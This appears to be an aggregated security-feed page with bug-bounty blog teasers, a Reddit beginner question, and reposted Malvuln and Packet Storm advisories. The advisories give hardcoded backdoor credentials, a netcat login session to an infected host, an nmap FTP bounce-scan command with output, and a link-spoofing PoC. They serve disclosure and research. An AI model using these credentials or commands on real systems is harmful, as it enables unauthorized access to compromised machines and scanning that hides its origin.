Hacking on Medium
Bounty Hacker — TryHackMe Writeups (Resolução)

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Para quem está iniciando na área de segurança essa máquina é um excelente começo pois aborda todas as etapas como scanning, brute-force…

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SSRF in Align Technology, Inc.
https://medium.com/@amnotacat/ssrf-in-align-technology-inc-52df0d3e3c0a?source=rss------bug_bounty-5

Hi everyone Align Technology, Inc. is a manufacturer of 3D digital scanners and the Invisalign clear aligners used in orthodontics.It is…Continue reading on Medium » (https://medium.com/@amnotacat/ssrf-in-align-technology-inc-52df0d3e3c0a?source=rss------bug_bounty-5)

Hunting for Bugs in File Upload Feature:
https://sm4rty.medium.com/hunting-for-bugs-in-file-upload-feature-c3b364fb01ba?source=rss------bug_bounty-5

In this blog, I will be listing down some file upload Vulnerability such RCE, SSRF, CSRF, XSS and many more such vulnerabilities.Continue reading on Medium » (https://sm4rty.medium.com/hunting-for-bugs-in-file-upload-feature-c3b364fb01ba?source=rss------bug_bounty-5)

hacking: security in practice
Is hacking available on phone??

Hii guys i want to learn hacking i am very new to this field and i want to know that do i able to practice hacking on mobile phone?? I don't have a pc 😕

submitted by /u/Independent_Feed_985
[link] [comments]

Exploit Collector
Backdoor.Win32.FTP.Simpel.12 Insecure Crypto Implementation

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png Backdoor.Win32.FTP.Simpel.12 malware uses MD5 with no salt for password storage.

MD5 | 60cb7770471dce0b613f578b6ee420dbDownload Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1d12f9b921b38d7b521f12442bdd52d8_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Simpel.12
Vulnerability: Insecure Crypto
Description: The malware listens on TCP port 22, authentication is required to access the server. However, the password hash "!supernova" is stored within the executable using an insecure MD5 hash algorithm and no salt. MD5 is a basic purpose fast hash (not slow) and not using salt allows attackers that gain access to the hash ability to conduct faster cracking attacks using pre-computed dictionaries. Finally, the password is easily recovered as it is a known password hash which can be found online. Third-party intruders who successfully gain access then may be able to upload executables which may result in remote code execution.

E.g.

Name=cRaCkeN
Pass=E13820BEDF2B31E01B2C7E59404B1FB7 = !supernova

Type: PE32
MD5: 1d12f9b921b38d7b521f12442bdd52d8
Vuln ID: MVID-2021-0433
Disclosure: 12/27/2021

Exploit/PoC:
nc64.exe x.x.x.x 22

USER cRaCkeN
331 Password required for cRaCkeN.
PASS !supernova
230- [LOGIN]
230- [SYSTEM]
230-
230- Aktiv seit : 1 d, 7 h, 41 min, 57 sec
230-
230- [SERVER]
230-
230- Server ist aktiv seit : 28 min, 44 sec
230- Server ist aktiv als : Victim
230- Traffic (Up/Down) : 0.00/0.00 MB
230- Geschw. (Up/Down) : 0/0 KB/sec.
230- Bester Speed (Up/Down): 0/0 KB/sec.
230- Durchschnitsspeed : 0 KB/sec. genutzt. ││
230- ││ SpaceFree : 26197.29 MB ││
230- ││ Benutzer derzeit : 1 von Max. 100 ││
230- ││ ││
230- │├──────────────────────────────[USER]───────────────────────────────┤│
230- ││ ││
230- ││ Willkommen : cRaCkeN
230- Sie sind User : 0 von max. 0 mit ihrem Account
230- Ratio : 1:-1 (Credits: 15 MB)
230- Ihre IP ist : 192.168.18.130
230-
230-
230-
230 User cRaCkeN logged in.
SYST
215 215 UNIX Type: L8
MKD HATE
257 Directory created
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). Source:packetstormsecurity.com

Exploit Collector
Windows Explorer Preview Pane HTML File Link Spoofing

https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
The Windows Explorer Preview Pane feature allows for spoofing of links contained in an HTML based file because upon moving the mouse over the link nothing happens and it cannot be right-clicked to show the actual target.

MD5 | a101017ac8f951413bcaa011440d398c

Download
# Exploit Title: Windows Explorer Preview Pane HTML File Link Spoofing Vulnerability
# Google Dork: n/a
# Date: December 25th, 2021
# Exploit Author: Eduardo Braun Prado
# Vendor Homepage: http://www.microsoft.com/
# Software Link: http://www.microsoft.com/
# Version: Windows 7, 8.1, 10, 11 (x86/x64 )
# Tested on: Windows 7, 8.1, 10, 11 (x86/x64)
# CVE : n/a

Windows Explorer Preview Pane feature allows for spoofing of links contained in an HTML based file because upon moving the mouse over the link nothing happens and it cannot be right-clicked to show the actual target.
The app invoked to parse the HTML file in Preview Pane is "prevhost.exe" and it uses MSHTML platform.

PoC:

==============PreviewMe.htm=========================
Click the link to your favorite search engine!
http://www.google.com/
=====================================================

vídeo demo: https://www.youtube.com/watch?v=A6yhlpRVoV4

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.Visiotrol.10 Insecure Password Storage

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png
Backdoor.Win32.Visiotrol.10 malware suffers from an insecure password storage vulnerability.

MD5 | cfd2722c816f01c1b11d6b1edaf8bb31

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f9dc0a462ada737f36efafac56f22b97.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Visiotrol.10
Vulnerability: Insecure Password Storage
Description: The malware listens by default on TCP port 4567. The default password "vc" is very weak and stored in a plaintext file named "config.vcs" on disk.
Type: PE32
MD5: f9dc0a462ada737f36efafac56f22b97
Vuln ID: MVID-2021-0431
Disclosure: 12/25/2021

Exploit/PoC:
c:\>type config.vcs
vc##4567##OFF##OFF##OFF##

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.FTP.Simpel.12 Man-In-The-Middle

https://2.bp.blogspot.com/-4wIBcK0z7y4/WWlvHXARtRI/AAAAAAAAILc/wzdKaT4lYrUxiztYZaNra08YExR9F67-wCLcBGAs/s1600/h14.png
Backdoor.Win32.FTP.Simpel.12 malware suffers from a man-in-the-middle vulnerability.

MD5 | 656e6c397f7dc608d3c805af661c0eed

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1d12f9b921b38d7b521f12442bdd52d8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Simpel.12
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 22. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 1d12f9b921b38d7b521f12442bdd52d8
Vuln ID: MVID-2021-0432
Disclosure: 12/27/2021

Exploit/PoC:
nmap -n -Pn -b cRaCkeN:!supernova@192.168.18.129:22 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-26 21:42 Pacific Standard Time
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://cRaCkeN:!supernova@192.168.18.129:22
Connected:220 SSH-1.99-OpenSSH_3.6.1p1.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 21:43
Removed 22
Changed my mind about port 22
Removed 21
Changed my mind about port 21
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 21:43, 2.39s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com